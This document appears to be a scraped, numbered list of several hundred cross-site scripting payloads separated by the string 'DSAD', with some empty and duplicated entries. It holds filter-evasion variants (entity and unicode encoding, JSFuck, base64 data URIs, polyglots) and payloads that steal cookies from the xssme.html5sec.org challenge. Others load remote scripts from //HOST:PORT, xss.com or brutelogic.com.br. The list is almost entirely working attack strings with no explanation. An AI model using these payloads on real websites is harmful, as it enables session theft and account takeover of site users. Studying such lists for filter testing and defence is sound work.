    DSAD

  451. image <textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>

    DSAD

  452. image <iframe onload="write('<script>'+location.hash.substr(1)+'</script>')"></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();

    DSAD

  453. image <script>function x(window) { eval(location.hash.substr(1)) }</script><iframe id=iframe src="javascript:parent.x(window)"><iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();

    DSAD

  454. image <textarea id=ta onfocus="write('<script>alert(1)</script>')" autofocus></textarea>

    DSAD

  455. image <object data="data:text/html;base64,PHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignR0VUJywgJ2h0dHA6Ly94c3NtZS5odG1sNXNlYy5vcmcveHNzbWUyJywgdHJ1ZSk7IHhoci5vbmxvYWQgPSBmdW5jdGlvbigpIHsgYWxlcnQoeGhyLnJlc3BvbnNlVGV4dC5tYXRjaCgvY29va2llID0gJyguKj8pJy8pWzFdKSB9OyB4aHIuc2VuZCgpOyA8L3NjcmlwdD4=">

    DSAD

  456. image <script>function x(window) { eval(location.hash.substr(1)) }; open("javascript:opener.x(window)")</script>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();

    DSAD

  457. image <script>xhr=new ActiveXObject("Msxml2.XMLHTTP");xhr.open("GET","/xssme2",true);xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){alert(xhr.responseText.match(/'([^']+)/)[1])}};xhr.send();</script>

    DSAD

  458. image <iframe src=`http://xssme.html5sec.org/?xss=<iframe onload="xhr=new XMLHttpRequest();xhr.open('GET','http://html5sec.org/xssme2',true);xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){alert(xhr.responseText.match(/'([^']+)/)[1])}};xhr.send();">`>

    DSAD

  459. image <a target="x" href="xssme?xss=<script>var cl=Components;var fcc=String.fromCharCode;doc=cl.lookupMethod(top, fcc(100,111,99,117,109,101,110,116) )( );cl.lookupMethod(doc,fcc(119,114,105,116,101))(doc.location.hash)</script>#<iframe src=data:text/html;base64,PHNjcmlwdD5ldmFsKGF0b2IobmFtZSkpPC9zY3JpcHQ+ name=ZG9jPUNvbXBvbmVudHMubG9va3VwTWV0aG9kKHRvcC50b3AsJ2RvY3VtZW50JykoKTt2YXIgZmlyZU9uVGhpcyA9ICBkb2MuZ2V0RWxlbWVudEJ5SWQoJ3NhZmUxMjMnKTt2YXIgZXZPYmogPSBkb2N1bWVudC5jcmVhdGVFdmVudCgnTW91c2VFdmVudHMnKTtldk9iai5pbml0TW91c2VFdmVudCggJ2NsaWNrJywgdHJ1ZSwgdHJ1ZSwgd2luZG93LCAxLCAxMiwgMzQ1LCA3LCAyMjAsIGZhbHNlLCBmYWxzZSwgdHJ1ZSwgZmFsc2UsIDAsIG51bGwgKTtldk9iai5fX2RlZmluZUdldHRlcl9fKCdpc1RydXN0ZWQnLGZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9KTtmdW5jdGlvbiB4eChjKXtyZXR1cm4gdG9wLlNhZmUuZ2V0KCl9O2FsZXJ0KHh4KGV2T2JqKSk></iframe>

    DSAD

  460. image <a target="x" href="xssme?xss=<script>addEventListener("DOMFrameContentLoaded", function(e) {e.stopPropagation();}, true);</script><iframe src="data:text/html,%3cscript%3eObject.defineProperty(top, 'MyEvent', {value: Object, configurable: true});function y() {alert(top.Safe.get());};event = new Object();event.type = 'click';event.isTrusted = true;y(event);%3c/script%3e"></iframe>

    DSAD

  461. image <a target="x" href="xssme?xss=<script>find('cookie'); var doc = getSelection().getRangeAt(0).startContainer.ownerDocument; console.log(doc); var xpe = new XPathEvaluator(); var nsResolver = xpe.createNSResolver(doc); var result = xpe.evaluate('//script/text()', doc, nsResolver, 0, null); alert(result.iterateNext().data.match(/cookie = '(.*?)'/)[1])</script>

    DSAD

  462. image <a target="x" href="xssme?xss=<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe src="javascript:parent.x(window);"></iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', '.', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();

    DSAD

  463. image Garethy Salty Method!<script>alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/d.*'/));</script>

    DSAD

  464. image <a href="javascript:\u0061l&#101rt(1)"><button>

    DSAD

  465. image <div onmouseover='alert(1)'>DIV</div>

    DSAD

  466. image <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">

    DSAD

  467. image <a href="jAvAsCrIpT:alert(1)">X</a>

    DSAD

  468. image <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> ?

    DSAD

  469. image <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">?

    DSAD

  470. image <var onmouseover="prompt(1)">On Mouse Over</var>?

    DSAD

  471. image <a href=javascript:alert(document.cookie)>Click Here</a>

    DSAD

  472. image <img src="/" =_=" title="onerror='prompt(1)'">

    DSAD

  473. image <%<!--'%><script>alert(1);</script -->

    DSAD

  474. image <script src="data:text/javascript,alert(1)"></script>

    DSAD

  478. image <input type="text" value=``<div/onmouseover='alert(1)'>X</div>

    DSAD

  479. image <input value=<><iframe/src=javascript:confirm(1)

    DSAD

  480. image <iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															(
																1
																	)></iframe> ?

    DSAD

  484. image <iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	(	1	)></iframe>

    DSAD

  485. image <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>

    DSAD

  486. image <meta http-equiv="refresh" content="0;javascript:alert(1)"/>?

    DSAD

  487. image <math><a xlink:href="//jsfiddle.net/t846h/">click

    DSAD

  488. image <svg contentScriptType=text/vbs><script>MsgBox+1

    DSAD

  489. image <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>

    DSAD

  490. image <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>?

    DSAD

  491. image <a href="data:text/html;base64_,<svg/onload=\u0061l&#101rt(1)>">X</a

    DSAD

  492. image <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+

    DSAD

  493. image <script/src="data:text/j\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=/

    DSAD

  494. image <script/src=data:text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061lert(/XSS/)></script ????????????

    DSAD

  495. image <object data=javascript:\u0061l&#101rt(1)>

    DSAD

  496. DSAD

  497. image <script itworksinallbrowsers>/*<script* */alert(1)</script ?

    DSAD

  499. image <svg><script>//
confirm(1);</script </svg>

    DSAD

  500. image <svg><script onlypossibleinopera:-)> alert(1)

    DSAD

  501. image <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe

    DSAD

  503. image <div/onmouseover='alert(1)'> style="x:">

    DSAD

  504. image <--`<img/src=` onerror=alert(1)> --!>

    DSAD

  505. image <body/onload=<!-->&#10alert(1)>

    DSAD

  506. image <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,alert(1)></script> ?

    DSAD

  507. image <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>?

    DSAD

  508. image "><img src=x onerror=window.open('https://www.google.com/');>

    DSAD

  509. image <form><button formaction=javascript:alert(1)>CLICKME

    DSAD

  510. image <math><a xlink:href="//jsfiddle.net/t846h/">click

    DSAD

  511. image <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>?

    DSAD

  512. image <a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>

    DSAD

  513. DSAD

  514. image <iframe src="data:text/html,<script>alert(1)</script>"></iframe>

    DSAD

  588. image innerHTML=location.hash>#<script>alert(1)</script>

    DSAD

  596. DSAD

  606. DSAD

  607. DSAD

  641. image <svg onload=setInterval(function(){with(document)body.appendChild(createElement('script')).src='//HOST:PORT'},0)>

    DSAD

  643. DSAD

  645. image */alert(1)">'onload="/*<svg/1='

    DSAD

  646. DSAD

  647. DSAD

  653. image <math><brute href=javascript:alert(1)>click

    DSAD

  654. image <form action=javascript:alert(1)><input type=submit>

    DSAD

  655. image <isindex action=javascript:alert(1) type=submit value=click>

    DSAD

  656. image <form><button formaction=javascript:alert(1)>click

    DSAD

  657. image <form><input formaction=javascript:alert(1) type=submit value=click>

    DSAD

  658. image <form><input formaction=javascript:alert(1) type=image value=click>

    DSAD

  659. image <form><input formaction=javascript:alert(1) type=image src=SOURCE>

    DSAD

  660. image <isindex formaction=javascript:alert(1) type=submit value=click>

    DSAD

  662. image <iframe srcdoc=<svg/o&#x6Eload=alert(1)>>

    DSAD

  663. image <svg><script xlink:href=data:,alert(1) />

    DSAD

  664. image <math><brute xlink:href=javascript:alert(1)>click

    DSAD

  665. image <svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>

    DSAD

  671. image "><img src=1 onerror=alert(1)>.gif

    DSAD

  672. image <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

    DSAD

  674. image GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;

    DSAD

  675. image "><script src=data:,alert(1)//

    DSAD

  676. image <script src="//brutelogic.com.br/1.js#

    DSAD

  677. image "><script src=//brutelogic.com.br/1.js#

    DSAD

  678. image <link rel=import href="data:text/html,<script>alert(1)</script>

    DSAD

  679. image "><link rel=import href=data:text/html,<script>alert(1)</script>

    DSAD

  681. image <script/src="data:,eval(atob(location.hash.slice(1)))//#alert(1)

    DSAD

  685. image <body onhashchange=alert(1)><a href=#x>click this!#x

    DSAD

  686. image <body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x

    DSAD

  687. image <body onscroll=alert(1)><br><br><br><br>

    DSAD

  693. image <video onloadstart=alert(1)><source>

    DSAD

  696. image <form onsubmit=alert(1)><input type=submit>

    DSAD

  697. image <select onchange=alert(1)><option>1<option>2

    DSAD

  698. DSAD

  700. image <scr<script>ipt>alert('XSS')</scr<script>ipt>

    DSAD

  701. image "><script>alert('XSS')</script>

    DSAD

  702. image "><script>alert(String.fromCharCode(88,83,83))</script>

    DSAD

  704. image <img src=x onerror=alert(String.fromCharCode(88,83,83));>

    DSAD

  705. image <img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>

    DSAD

  707. image "><img src=x onerror=alert('XSS');>

    DSAD

  708. image "><img src=x onerror=alert(String.fromCharCode(88,83,83));>

    DSAD

  713. image "><svg/onload=alert(String.fromCharCode(88,83,83))>

    DSAD

  721. image <video><source onerror="javascript:alert(1)">

    DSAD

  722. image <video src=_ onloadstart="alert(1)">

    DSAD

  723. image <details/open/ontoggle="alert`1`">

    DSAD

  726. image <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

    DSAD

  727. image <meta/content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg=="http-equiv=refresh>

    DSAD

  728. image data:text/html,<script>alert(0)</script>

    DSAD

  730. image jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )// //</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

    DSAD

  731. image ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id)>'"><img src="http: //i.imgur.com/P8mL8.jpg">

    DSAD

  732. image " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//

    DSAD

  733. image ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>

    DSAD

  734. image javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*

    DSAD

  735. image javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a

    DSAD

  736. image javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/

    DSAD

  737. image javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*

    DSAD

  738. image javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*

    DSAD

  739. image javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*

    DSAD

  740. image javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//

    DSAD

  741. image --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*

    DSAD

  742. image /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*

    DSAD

  743. image javascript://--></title></style></textarea></script><svg "//' onclick=alert()//

    DSAD

  744. image /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*

    DSAD

  747. image <script>window['alert'](document['domain'])<script>

    DSAD

  749. image <script>window['alert'](0)</script>

    DSAD

  750. image <script>parent['alert'](1)</script>

    DSAD

  751. DSAD

  758. DSAD

  760. DSAD

  769. DSAD

  770. DSAD

  804. image <svg onload=setInterval(function(){with(document)body.appendChild(createElement('script')).src='//HOST:PORT'},0)>

    DSAD

  806. DSAD

  808. image */alert(1)">'onload="/*<svg/1='

    DSAD

  809. DSAD

  810. DSAD

  816. image <math><brute href=javascript:alert(1)>click

    DSAD

  817. image <form action=javascript:alert(1)><input type=submit>

    DSAD

  818. image <isindex action=javascript:alert(1) type=submit value=click>

    DSAD

  819. image <form><button formaction=javascript:alert(1)>click

    DSAD

  820. image <form><input formaction=javascript:alert(1) type=submit value=click>

    DSAD

  821. image <form><input formaction=javascript:alert(1) type=image value=click>

    DSAD

  822. image <form><input formaction=javascript:alert(1) type=image src=SOURCE>

    DSAD

  823. image <isindex formaction=javascript:alert(1) type=submit value=click>

    DSAD

  825. image <iframe srcdoc=<svg/o&#x6Eload=alert(1)>>

    DSAD

  826. image <svg><script xlink:href=data:,alert(1) />

    DSAD

  827. image <math><brute xlink:href=javascript:alert(1)>click

    DSAD

  828. image <svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>

    DSAD

  834. image "><img src=1 onerror=alert(1)>.gif

    DSAD

  835. image <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

    DSAD

  836. image GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;

    DSAD

  838. image "><script src=data:,alert(1)//

    DSAD

  839. image <script src="//brutelogic.com.br/1.js#

    DSAD

  840. image "><script src=//brutelogic.com.br/1.js#

    DSAD

  841. image <link rel=import href="data:text/html,<script>alert(1)</script>

    DSAD

  842. image "><link rel=import href=data:text/html,<script>alert(1)</script>

    DSAD

  845. image <script/src="data:,eval(atob(location.hash.slice(1)))//#alert(1)

    DSAD

  848. image <body onhashchange=alert(1)><a href=#x>click this!#x

    DSAD

  849. image <body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x

    DSAD

  850. image <body onscroll=alert(1)><br><br><br><br>

    DSAD

  856. image <video onloadstart=alert(1)><source>

    DSAD

  859. image <form onsubmit=alert(1)><input type=submit>

    DSAD

  860. image <select onchange=alert(1)><option>1<option>2

    DSAD

  861. DSAD

  862. image <script>\u0061\u006C\u0065\u0072\u0074(1)</script>

    DSAD

  863. image <img src="1" onerror="alert(1)" />

    DSAD

  864. image <script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>

    DSAD

  865. image <iframe src="javascript:alert(1)"></iframe>

    DSAD

  866. image <script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>

    DSAD

  867. DSAD

  869. image <script ~~~>confirm(1)</script ~~~>

    DSAD

  870. DSAD

  871. image <</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>

    DSAD

  872. image <</script/script><script ~~~>\u0061lert(1)</script ~~~>

    DSAD

  873. image </style></scRipt><scRipt>alert(1)</scRipt>

    DSAD

  874. image <img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>

    DSAD

  875. image <img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>

    DSAD

  876. image <svg><x><script>alert('1'&#41</x>

    DSAD

  877. image <iframe src=""/srcdoc='<svg onload=alert(1)>'>

    DSAD

  878. image '"--></style></script><script>shadowlabs(0x000045)</script>

    DSAD

  879. image <<scr\0ipt/src=http://xss.com/xss.js></script

    DSAD

  880. image '"--></style></script><script>RWAR(0x00010E)</script>

    DSAD

  882. image "><iframe src="http://google.com"% 3E

    DSAD

  883. image '<script>window.onload=function(){document.forms[0].message.value='1';}</script>

    DSAD

  884. image x”</title><img src=x onerror=alert(1)>

    DSAD

  885. image <script> document.getElementById("safe123").setCapture(); document.getElementById("safe123").click(); </script>

    DSAD

  886. image <script>Object.defineProperties(window, {Safe: {value: {get: function() {return document.cookie}}}});alert(Safe.get())</script>

    DSAD

  887. image <script>var x = document.createElement('iframe');document.body.appendChild(x);var xhr = x.contentWindow.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();</script>

    DSAD

  888. image <script>(function() {var event = document.createEvent("MouseEvents");event.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);var fakeData = [event, {isTrusted: true}, event];arguments.__defineGetter__('0', function() { return fakeData.pop(); });alert(Safe.get.apply(null, arguments));})();</script>

    DSAD

  889. image <script>var script = document.getElementsByTagName('script')[0]; var clone = script.childNodes[0].cloneNode(true); var ta = document.createElement('textarea'); ta.appendChild(clone); alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>

    DSAD

  890. image <script>xhr=new ActiveXObject("Msxml2.XMLHTTP");xhr.open("GET","/xssme2",true);xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){alert(xhr.responseText.match(/'([^']+)/)[1])}};xhr.send();</script>

    DSAD

  891. image <script>alert(document.documentElement.innerHTML.match(/'([^']+)/)[1])</script>

    DSAD

  892. image <script>alert(document.getElementsByTagName('html')[0].innerHTML.match(/'([^']+)/)[1])</script>

    DSAD

  893. image <script> d = document.createElement("div"); d.appendChild(document.head.cloneNode(true)); alert(d.innerHTML.match("cookie = '(.*?)'")[1]); </script>

    DSAD

  894. image <script> var xdr = new ActiveXObject("Microsoft.XMLHTTP"); xdr.open("get", "/xssme2?a=1", true); xdr.onreadystatechange = function() { try{ var c; if (c=xdr.responseText.match(/document.cookie = '(.*?)'/) ) alert(c[1]); }catch(e){} }; xdr.send(); </script>

    DSAD

  895. image <iframe id="ifra" src="/"></iframe> <script>ifr = document.getElementById('ifra'); ifr.contentDocument.write("<scr" + "ipt>top.foo = Object.defineProperty</scr" + "ipt>"); foo(window, 'Safe', {value:{}}); foo(Safe, 'get', {value:function() { return document.cookie }}); alert(Safe.get());</script>

    DSAD

  896. image <script>alert(document.head.innerHTML.substr(146,20));</script>

    DSAD

  897. image <script>var request = new XMLHttpRequest();request.open('GET', 'http://html5sec.org/xssme2', false);request.send(null);if (request.status == 200){alert(request.responseText.substr(150,41));}</script>

    DSAD

  898. image <script>alert(document.head.childNodes[3].text)</script>

    DSAD